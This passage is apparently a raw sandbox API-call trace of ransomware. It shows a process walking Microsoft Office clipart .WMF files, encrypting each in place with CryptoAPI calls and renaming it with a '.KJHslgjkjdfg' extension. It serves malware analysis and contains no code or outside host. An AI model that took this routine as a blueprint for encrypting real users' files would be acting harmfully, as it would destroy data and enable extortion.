hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0212.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.469] GetProcessHeap () returned 0x990000 [0212.470] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.470] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.470] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.472] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.472] GetProcessHeap () returned 0x990000 [0212.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.472] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.472] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.472] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.472] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.472] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.473] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.473] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.473] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d84, lpOverlapped=0x0) returned 1 [0212.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d90) returned 1 [0212.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.474] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d90, lpOverlapped=0x0) returned 1 [0212.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.474] SetEndOfFile (hFile=0x130) returned 1 [0212.477] GetProcessHeap () returned 0x990000 [0212.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.477] GetProcessHeap () returned 0x990000 [0212.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.kjhslgjkjdfg")) returned 1 [0212.479] CloseHandle (hObject=0x130) returned 1 [0212.479] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0212.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.480] GetProcessHeap () returned 0x990000 [0212.480] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.480] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.480] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.482] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.482] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.482] GetProcessHeap () returned 0x990000 [0212.482] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.482] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.483] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.483] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.483] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.483] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.483] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.483] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.483] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.483] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.483] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xae1a, lpOverlapped=0x0) returned 1 [0212.484] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae20, dwBufLen=0xae20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae20) returned 1 [0212.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.485] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xae20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xae20, lpOverlapped=0x0) returned 1 [0212.485] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.485] SetEndOfFile (hFile=0x130) returned 1 [0212.487] GetProcessHeap () returned 0x990000 [0212.487] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.488] GetProcessHeap () returned 0x990000 [0212.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.kjhslgjkjdfg")) returned 1 [0212.490] CloseHandle (hObject=0x130) returned 1 [0212.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0212.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.491] GetProcessHeap () returned 0x990000 [0212.491] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.491] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.492] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.494] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.494] GetProcessHeap () returned 0x990000 [0212.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.494] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.494] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.494] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.494] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.494] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.494] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.495] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.495] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.495] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b38, lpOverlapped=0x0) returned 1 [0212.496] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b40, dwBufLen=0x5b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b40) returned 1 [0212.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.496] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b40, lpOverlapped=0x0) returned 1 [0212.496] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.496] SetEndOfFile (hFile=0x130) returned 1 [0212.499] GetProcessHeap () returned 0x990000 [0212.499] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.499] GetProcessHeap () returned 0x990000 [0212.499] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.kjhslgjkjdfg")) returned 1 [0212.500] CloseHandle (hObject=0x130) returned 1 [0212.500] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0212.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.502] GetProcessHeap () returned 0x990000 [0212.502] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.502] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.502] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0212.504] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.504] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.504] GetProcessHeap () returned 0x990000 [0212.504] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.504] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.504] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.504] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.504] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.505] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.505] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.505] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.505] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.505] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.505] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1075e, lpOverlapped=0x0) returned 1 [0212.506] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10760, dwBufLen=0x10760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10760) returned 1 [0212.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.507] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10760, lpOverlapped=0x0) returned 1 [0212.513] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.513] SetEndOfFile (hFile=0x130) returned 1 [0212.516] GetProcessHeap () returned 0x990000 [0212.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.516] GetProcessHeap () returned 0x990000 [0212.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.kjhslgjkjdfg")) returned 1 [0212.518] CloseHandle (hObject=0x130) returned 1 [0212.518] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0212.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.519] GetProcessHeap () returned 0x990000 [0212.519] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.519] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.519] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.519] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 